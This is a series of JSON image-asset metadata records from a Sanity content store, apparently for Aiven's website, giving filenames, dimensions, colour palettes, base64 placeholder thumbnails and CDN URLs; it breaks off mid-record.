{"_createdAt":"2023-10-30T12:25:43Z","_id":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_rev":"K4OjmPZwqkJMmxhvodRix3","_type":"sanity.imageAsset","_updatedAt":"2023-10-30T12:25:43Z","assetId":"c739d8bf1a345c9ce723b3e372243743f1db5425","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DESPeI%L9fxuWW?dxYs-s.az","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.488636363636363,"height":352,"width":1580},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAEABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMECP/EABsQAAMAAgMAAAAAAAAAAAAAAAABAgNRERIh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAXEQEAAwAAAAAAAAAAAAAAAAAAAhEx/9oADAMBAAIRAxEAPwDUGBc3SeiWonq/AC5aFdROgAXYf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c3c8c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a347a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f1f5f4","foreground":"#000","population":0.11,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#f1f5f4","foreground":"#000","population":0.11,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dce8fc","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#0c3c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1464ea","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"bg-light-blue-pattern-left-right.svg","path":"images/sczeoy4w/production/c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352.svg","sha1hash":"c739d8bf1a345c9ce723b3e372243743f1db5425","size":5875,"uploadId":"5rfWZEWz6giK6HcHctwh7iTuwdrtdUg6","url":"https://cdn.sanity.io/images/sczeoy4w/production/c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352.svg"} {"_createdAt":"2023-12-19T14:38:34Z","_id":"image-c73cfba72776ce866ee38b723325de1b0424acba-1200x630-jpg","_rev":"7oPGYyiRG7hm5kP9hfQBnq","_type":"sanity.imageAsset","_updatedAt":"2023-12-19T14:38:34Z","assetId":"c73cfba72776ce866ee38b723325de1b0424acba","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MGPGdWPBXUm.?uT0Iq=pE.o~_Mr{WroZDk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIFBgf/xAAjEAACAQMDBAMAAAAAAAAAAAABAgMABBEFITEGEhNRFIGR/8QAFgEBAQEAAAAAAAAAAAAAAAAAAwIE/8QAHREBAAICAgMAAAAAAAAAAAAAAQARAgMTIRQxQf/aAAwDAQACEQMRAD8A2W9vdSS8lSEy9gfAwvA/KTqG+u7D4UkToJZAS8so2GBx91ZYABcud+PdEkaTXJWVFdRvhhmtGW7iRS7alacRW/kTSdSafTreWdfHI6hivqiou6dhOwBwBRSeLi9jCd3fqf/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#414549","foreground":"#fff","population":0.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2b9a","foreground":"#fff","population":2.83,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8a2b9a","foreground":"#fff","population":2.83,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c99dcc","foreground":"#000","population":0.6,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fad3af","foreground":"#000","population":1.95,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#856496","foreground":"#fff","population":0.44,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#441cd8","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Aiven-Free-Redis-database.jpg","path":"images/sczeoy4w/production/c73cfba72776ce866ee38b723325de1b0424acba-1200x630.jpg","sha1hash":"c73cfba72776ce866ee38b723325de1b0424acba","size":207277,"uploadId":"nMGP9R7r86KIGcqY3afCSd91fFTzwLcj","url":"https://cdn.sanity.io/images/sczeoy4w/production/c73cfba72776ce866ee38b723325de1b0424acba-1200x630.jpg"} {"_createdAt":"2022-06-15T20:01:51Z","_id":"image-c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEc2yf","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:26Z","assetId":"c74c3812d56d5d2d6ebc38fff959c4fb204bd496","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9D]uP00~WIAaxI]WY_24nxu00?HIU%g-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACo0lEQVQokSXNe09ScQCA4R+KwEQEFJh4DldRRBGQe3ILkevwHHJCDJJZZhg4U9SpaWjkXDideWnZ1hTnBbSmZk1Lm1PGNCv7TDXdnn/fvQDLlpFExuJ6B0njIWo8eEUzXokSFO6CaiOWp8RW6XASG07uwtZaMFx1HiQlsMSMKon2rjEU8gIiV8ZXWYUGhG/wMFQugrgJJ3MVqtEilZukdBar3SStp1CN4iRWvEBLF6llhkZ/W2Bqajy9uQKIUA1fZhDr7NVaGywz02UWhgZhmnxsa5DvDMFNAaquhaR209U2YUOjHUVH48Mfd9Zz2ZPr3zlQxKwUyHT1Bofc5KrTOcQmVOkO6fwRfbBH5Y0I7EFI7xaaHWak+X7QOzjYk0mnsufHF7nTq8szQOeK5Xqryui03QsgwbDVH/Z1P+8cm3aHR2qcD0QW1IwigXZfNPoo1htJTIytriynN1cP9jK57Ang1mmafSHEG2p/GuuLv+6dmBlKvk0srbZERoQmxNHa2j8Qib8YSEyMTr6KTycn3y8vZrZS348Ori6zgFWr8gQ6Ao+7fQ+jwa7Yk4F4e99Y9+iUMxCua7B0dnUszicX3szMzSaXFmZTK8tHh/uXF+fXf37+vf4FiFBVpcIg1dsFChNH0iBQmHhyo7jBViHVi5V3hkdiO5m1nfTadjq1v7v17XD37PTox/GXz3vpT9trAEOFcTQOgcEroHHzS9g3OHgal1DKqa1XJl4Ofd3bONhdz2y8S32YW5qfTIz3R7va/F5XC2oFgFIOyEwMmQnI5YAMATKEuYGlwhWimoAf6X/2KBIO+rwuu92kM2ikcimvUkBjMikMBgDkMkBmAsptfAsCFCifCpMZ5SyYyeawylhsShlMpEMEGowvZReUsPMo8P/fPwl7yj9dUeiNAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b432e","foreground":"#fff","population":1.49,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#052c46","foreground":"#fff","population":10.17,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#052c46","foreground":"#fff","population":10.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7c3b5","foreground":"#000","population":1.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eef2fc","foreground":"#000","population":0.7,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#908664","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1095ee","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844.png","path":"images/sczeoy4w/production/c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844.png","sha1hash":"c74c3812d56d5d2d6ebc38fff959c4fb204bd496","size":1106228,"uploadId":"kL0yBVD7LeswQNH4kNTFnRF7VFo4VU1L","url":"https://cdn.sanity.io/images/sczeoy4w/production/c74c3812d56d5d2d6ebc38fff959c4fb204bd496-1567x844.png"} {"_createdAt":"2024-03-15T12:28:41Z","_id":"image-c75a09ab088e537ea9618eebfac1cfaf7b2f55cc-1200x630-jpg","_rev":"2QvLnXP36WAnQ13A3vEK8Q","_type":"sanity.imageAsset","_updatedAt":"2024-03-15T12:28:41Z","assetId":"c75a09ab088e537ea9618eebfac1cfaf7b2f55cc","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M36H:7-fnIM*D%%%x_NDIqoa00nmt2t8%0","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBAwUH/8QAIhAAAQQCAQQDAAAAAAAAAAAAAQACAxEEIRITFEFRBSMx/8QAFwEAAwEAAAAAAAAAAAAAAAAAAAEEBv/EABoRAAICAwAAAAAAAAAAAAAAAAABAgMRMTL/2gAMAwEAAhEDEQA/AOL4LviO3Z1efVrevKuMMGRlCPDeRHV3VFZQce0YNfvpMXuZESxxafYWqq5bJJbIyMKpPrHIVsnyUJI5HuaSXE7QhVxYsn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372d67","foreground":"#fff","population":0.32,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":11.51,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#141e6c","foreground":"#fff","population":11.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fa6d2","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8394d8","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#656b96","foreground":"#fff","population":1.7,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd3e4e","foreground":"#fff","population":0.24,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"5 questions about Kafka- Meta SEO.jpg","path":"images/sczeoy4w/production/c75a09ab088e537ea9618eebfac1cfaf7b2f55cc-1200x630.jpg","sha1hash":"c75a09ab088e537ea9618eebfac1cfaf7b2f55cc","size":199798,"uploadId":"XlfAiF9pbVcLzEyLkzHKwqZuRExrHrIN","url":"https://cdn.sanity.io/images/sczeoy4w/production/c75a09ab088e537ea9618eebfac1cfaf7b2f55cc-1200x630.jpg"} {"_createdAt":"2023-03-07T10:48:12Z","_id":"image-c76627d36976e355993eabe0649b8dad1fc815be-794x282-png","_rev":"iUKOwlWz6dlX4J4w2VPOLx","_type":"sanity.imageAsset","_updatedAt":"2023-03-07T10:48:12Z","assetId":"c76627d36976e355993eabe0649b8dad1fc815be","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.8156028368794326,"height":282,"width":794},"exif":{"ColorSpace":1,"PixelXDimension":794,"PixelYDimension":282,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABJElEQVQokXWRbW+DIBSF/f8/b2mWZnZdaxUVBUSkFoFzF2iWtXv58OTAOdzcCxTaUnwGcVrupPXPTJkY5Ryy3s/QI6FQCyDnCDHHrIlBbeDSQegAaZ6z5Df9gm5cIefwXWuA1KDgKuDMrijPM53ZSr3YqBuuxLglLhw13NF7tdCxttSOG3XjSnU7U8stdcLRiV3pUC1U9w6jjrHohMfbyeBlL7J2o4OYNgjlMKotN9uVCq8HjUt3y17KEu3gcs2unHCsV3AVYjEoj6ZfUbWW2OBI6EDTAtILSJlIXPo8ZWJQIXspm0zMZ9PUKeulT9ePBeMmVo3CpZ3A5Q3KRGhL6T3+Rf/tp08KxUc1bPvy4t+OzDNuvDLRa0teWzzoF2n/mP3K3ScUBxZ0XgycYwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3454","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#173f6d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecf3fb","foreground":"#000","population":17.76,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9accc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecf3fb","foreground":"#000","population":17.76,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6e7494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c79d2","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Architecture_diagram.png","path":"images/sczeoy4w/production/c76627d36976e355993eabe0649b8dad1fc815be-794x282.png","sha1hash":"c76627d36976e355993eabe0649b8dad1fc815be","size":52080,"uploadId":"Um2hiydqfqRwo6rwDZbD6Rav64vzz0Fu","url":"https://cdn.sanity.io/images/sczeoy4w/production/c76627d36976e355993eabe0649b8dad1fc815be-794x282.png"} {"_createdAt":"2022-09-07T11:39:48Z","_id":"image-c7782e4f232e5e1b05cc1779512beef5b4140b17-24x24-svg","_rev":"cEPH2uRN58AU2lp9QMtDUP","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T11:39:48Z","assetId":"c7782e4f232e5e1b05cc1779512beef5b4140b17","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":24,"width":24},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAADSklEQVQ4jUWV64uVVRTGf2fOXHTGKSOlEsEhIbtYCFmfIvoQGSlDGBqljjPvs88ZzUBilOmGZDcJsvtNMIL6EFEUXSjTkiD63pf+nf3E2nsf58Phfc/ea6+91rN+a70AeBGywEfBHTjej1xb71mMWfTLs6PnpWYftl17X6znyAn8QnMiyKfKs++OGyzuttiXxaLF0OKIxR537HDHbE70THM8D7mLP817HkDZFFMWt1t0Fh9l8YPFHxZ/WVzO4juL81k8aTHnxLiH4EGL0MfbDTXddRb3Wbxq8avFTxbvWaxanLR40eLTtvejxWmLOyzGR5HWCKsOodFOizcsrlh8ZnEg1wM3WsxabM6Je5xYsPjS4lKuTudctW6CnixON1s8k8XvFp9YPOCOmRJ5alqHbaSYiu0+i69apJH+rJ9dizCiu9/i8yy+t5h3x/oixeFi0/OQXk5c58S9Fg9Z3GWx1NJ/22KHl8PhQjmw3uJpi19aynOBhgdMeMB4Pl6KtsGJhy0+iKJY7M5iV8vmW4tHAqkRd9dbrDTtBlY5XKNJ7HZiW3GWuOBUKv28xTaLmyxecpXpcHA64m+jxcsWVy2ecsdkQ2LFiY8tXrH4IicuO3HGiZ0ReVyaxXNZXM0ihXSlKLlGeLrx1uUohthUjKpG/+bgcM3ZZBQqbFyjjcwW3DE2qt6ME8r18GoWN3uJMSe258SJnLjoxGpzNuE9jVtxp8X7roV8LI80zIlZJ7osfmvpbS1tOKTvxBYndhUdI7LFa12xweJgwJ/FhzkYLmDPl83tFudaetFyUZB68CDkZXreW3lszqYtHrS40M5Er2+sDmu77Q9ksvjaYq/FrRa3td+WJslk65bYe7y14BWLs4XBVCZRue0WizMW/7Xyv2nxmsW7WbyTKxZqnA5bJjEwLlm8nlXQmvI5CHbD4dbWj39b/GPxs+tE+SaAzRX2iOTPmDZt/6LFMafSLVM+Cz5Wp1akPF1uEUeLUZQ/sd+JR1v6sX4qAA7mCqe1SzZ5QN8HwE+0mRARxlC0mCg6VY2mnVhXNAvAO2YapwF/gBw93o9BkM+vTerS8y1lvAI5ejdGe3uW9eXW66NRH+uH2vSJ/aj4W4UCfCI+JvA/ZKGETBuG4WYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#794441","foreground":"#fff","population":0.52,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7c1004","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3670c","foreground":"#fff","population":5.9,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#913d07","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f8af80","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a06454","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3670c","foreground":"#fff","population":5.9,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"icon-message-check-circle.svg","path":"images/sczeoy4w/production/c7782e4f232e5e1b05cc1779512beef5b4140b17-24x24.svg","sha1hash":"c7782e4f232e5e1b05cc1779512beef5b4140b17","size":501,"uploadId":"Huhj9vVSYmV7vKkQf9jdSVW0pooUIHhk","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7782e4f232e5e1b05cc1779512beef5b4140b17-24x24.svg"} {"_createdAt":"2022-06-30T20:10:20Z","_id":"image-c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165-png","_rev":"QRl2cGoCgj0FlAhkRriJwg","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:42Z","assetId":"c79f85598955f82624c8802e6b66ee57ffecbceb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"49S?7FtR.T?HQ,","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.16969696969697,"height":165,"width":1018},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAIAAAAcOLh5AAAACXBIWXMAAA7CAAAOwgEVKEqAAAAAdElEQVQImWWNSwrDMAwFff9zlia0sU0t+SNZTy5JNoXOdgYmALALdwcwxiAiZq6VG1MrpTH1VkUEF3cMYK0VVLX3fjszY+aYYk6JcqzHzq9nPfZBHxUxw5xTRFQVgLuH//O5ZR4lS9zG+yFxs1rczHEGv+cvYOiufLmEsbYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#713127","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#622a22","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6aa86","foreground":"#000","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcdcc4","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6aa86","foreground":"#000","population":0.27,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#818181","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd7c70","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165.png","path":"images/sczeoy4w/production/c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165.png","sha1hash":"c79f85598955f82624c8802e6b66ee57ffecbceb","size":22818,"uploadId":"0eGXS6SDqZjukl10iE7iJrCy8ITJQh0n","url":"https://cdn.sanity.io/images/sczeoy4w/production/c79f85598955f82624c8802e6b66ee57ffecbceb-1018x165.png"} {"_createdAt":"2022-06-17T08:37:31Z","_id":"image-c7a2480c409f82ad0f78d2a412f90dede90432f4-500x517-png","_rev":"qkpX9b3U0TpOGFQp8gRhlE","_type":"sanity.imageAsset","_updatedAt":"2022-06-17T08:37:31Z","assetId":"c7a2480c409f82ad0f78d2a412f90dede90432f4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMNvY@?]00;]0xx~#AV}krV|0059K,IB$+RhWTRqNgNt4pxW^*Xlsk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.9671179883945842,"height":517,"width":500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAVCAYAAABG1c6oAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFaElEQVQ4jVWUC1BUdRjF/xCm+MhRLJvMYiwtp5qiMR1DR02QGScIK9RhDB8g4KMRYa/4HMtHQSppU2pMmuUiWfgYMVTkEYQUIVt677I+ANldl5fK8tgH+7jnNLv4qDtz5vv+d+785nz/880VIpli6AoKISh0pfsE69MFZU0AZM1AKtJgKlIQ6jcL/xeyRlCW7leNgK8q0qNe1gjRLIUKg/SKqPpxgyCF6NVtCoIsvUBFWghl3Soo6yJZvymEJm0g9RuHU5HGU5Feo6IZS0Ua5IcrjySmrtQLn8vxGc4BIo5BrisbRlHRpELWXKKc0Ug54xTl9ARcTQunnLGEinSAipRPRdpOWTPt/hQC950KMZMiU5MbFLbGMlIkcKS+YvdEyNIBKJk9qN9MXNvWxeuf/clr2wup36iDIlkha5xUJCMV6UvKmon+sZV1/UBmiYDr6ROGZa75emx4RuOLhWd/jrLp9xbgVq6dlpNEx0WVHWUethX10XTUy5u7SP1GUpFUylIFFWkOZU3QwzvkFhHg3h36dNuhueFy4c7467qzOd2WGr3ac8ND1x3C0wt6bKTbSjpM5L1LQPMh0LDVTUUqoyxFQMl87EFYArq1j6Ny8TRWJe3xXsmq7Gv5w+h2WJ1QPSAJ/FeADw50y6RJ20rDtj2UMybQclpQOehP3Df7eFzN2En9J400n/TQ0QJAZT+tn/Ef9RePHei6qUfDuVSe/3wEjLkCnRWCOYnCtz8JVDIvoekbL7oVwusCvSqgqj6m7/FTHvT3RdpsrfxH3oOcgy9BiACSglNj/Mu6C/pNt2jOJ2y3gbv3gCYj0H4X3j4X7HY7rVYre3p6aLfbYbPZYLPb4ey0er1/1NVyx1fxGDdtiH/xo+J9wIy9NGw1svUMebcBqC4Bjh4BLpaj55aJer2e1dXVrK2t5eXLl/lXTQ3qdDo01htoK/39Drfszsbk957liImC8av9wJU0fKpjayHYehUo1YK5WcDJAnZckVFVVcULFy6wrKyMxcXFOH/uPMsrfoNcp2P3ryV2pu84yinzXvU7XL3ed4fpYTR88g1aTrXCekOFSQbra4CGa7C3t8FsNsNoNNJisdBkMrG5uRmWlhbcM5npOlHkROK6n/lm9BsqKRC3xO9wMOq3vMOWU7l03G6i1+Wm1014PYDqpaqq8Mkfb39P/+l2C7H/SC9jkw7jjbkv+x2GRwvhcdwRlNcOQUfJZLg6cwAYQfoifrAr/pwf9r73DidY/juRttmCWXFbMCl6NIPHCfhSNra0idIGt2jtcg60djtn9Nl689Bnu0fV8/+lfiC7Hayrg/rZLrczdmll5/SFsXdnJQ7Km7lbmGckCvF9SaP/tzXvOAOK/up8qqNet8DbUHMWFkMXutoIew/hsBE9VsJ8iygvJj/f4fYuWGQwRy7e+V3M/tfHrvAMzIo7LNLnnxPioyMULx6k2Hi8K/BjrSO4Mv+n5zsLshe5C3MKUHKoiZXHe1le4GbhDx5+m+WElNrOuJhqNWJO1t9RqyJmLm14YchKhjyfbB8QkkohUo9RrMiHWJPnCEg5xuC0w+3Di77Ifq59+/xIz/bo9dj2wVF184fFalpMKRZHnETs9GzMmTafs2aHNc1OGr/hwzOhYcvaR49JcQ0SaynEci3Eci1FkpYBKVo1ODmfTyQd47B92adH1KYlhJpSIie3LouIal8UOffOgjnhjtgZoXw3fDBmxAx2vf3+M+bpSWNOROUMm5nQFOhL2g/zKVmLwOVaDkvWqiGpeWrI8uMMWXKCIYm/cOTqPM+Ta/Jco1IK+MTsWgYWrdonut5JCOSU94L5VvRQhkUO8MG6Jy0V/wJHBIaHhwitjwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c4e42","foreground":"#fff","population":0.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0421a1","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd374","foreground":"#000","population":9.77,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4d1","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd374","foreground":"#000","population":9.77,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5f70a2","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f65a14","foreground":"#fff","population":0.54,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-observability-image-composition_1.png","path":"images/sczeoy4w/production/c7a2480c409f82ad0f78d2a412f90dede90432f4-500x517.png","sha1hash":"c7a2480c409f82ad0f78d2a412f90dede90432f4","size":26494,"uploadId":"iHgOG3fOaP8A9pnBk5yi1riAvHs6gUve","url":"https://cdn.sanity.io/images/sczeoy4w/production/c7a2480c409f82ad0f78d2a412f90dede90432f4-500x517.png"} {"_createdAt":"2024-01-04T16:14:26Z","_id":"image-c7a92cba9e03b00c5fd25baa9ef92369da8722e8-1899x555-png","_rev":"2NRF14ypplMhiTpuAHKoAw","_type":"sanity.imageAsset","_updatedAt":"2024-01-04T16:14:26Z","assetId":"c7a92cba9e03b00c5fd25baa9ef92369da8722e8","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.4216216216216218,"height":555,"width":1899},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6ElEQVQYlQXBTWvTABgA4NS6TZyDVtqZNLZrY7ckbb6axfVrdf1KS7N+sMa2o7qJTA8O1DGE4bx4ELw48Qc40N0EDyLixT/gRfQsrOiymwXprUHyvj4PYZptR6+1YXP7BR4c/oD3Xyx49/kb7Dx5jjm9MYpp7ePp4J0hMfvAcZE76Jq9iWe8KZuiJau8VD/JJlrjCJPHOJuFspZEomo0wWjdgPuPXuHro6/w8dN3eHP0AR7u7mOtYY74RWNwjjKGhN90XOQmusgNdPsN20tnLDFesyS5Y3NSFwWxAgLLIxEWCyBk2tDs7+H+00N4efAWHu89A7NzC7VlY0TFK4PpudLQH604QbGDPq6HM+G67WNKp8xCzmIW8naU13GeTQEdDCExFVjB8xEdqUQHtOo9rF7fheLqbZCzLaSl1dEFvj0g5e6wqK87/f426vUt5FI9m012T1U1Z/GcZDNRESORKNA0hYTbp4KbvApTV8roideBlOoQEHQISlUMLZojb2zt+FKsMbyWN52N9bvYbG1hPN23hXTPymdWTpKqOhZEBWWeA2k+jAQxQ/9zecJw9rKGE3NpmAgoMElr4OcKyKXX/lJs4eekT/lzMaA6vJBDViihJ1Qck8zyb0VZ+iVIibEoyphVRMjJHP4HlHbKIohzhCwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#322e55","foreground":"#fff","population":0.56,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08257a","foreground":"#fff","population":6.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08257a","foreground":"#fff","population":6.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6b7cf","foreground":"#000","population":6.28,"title"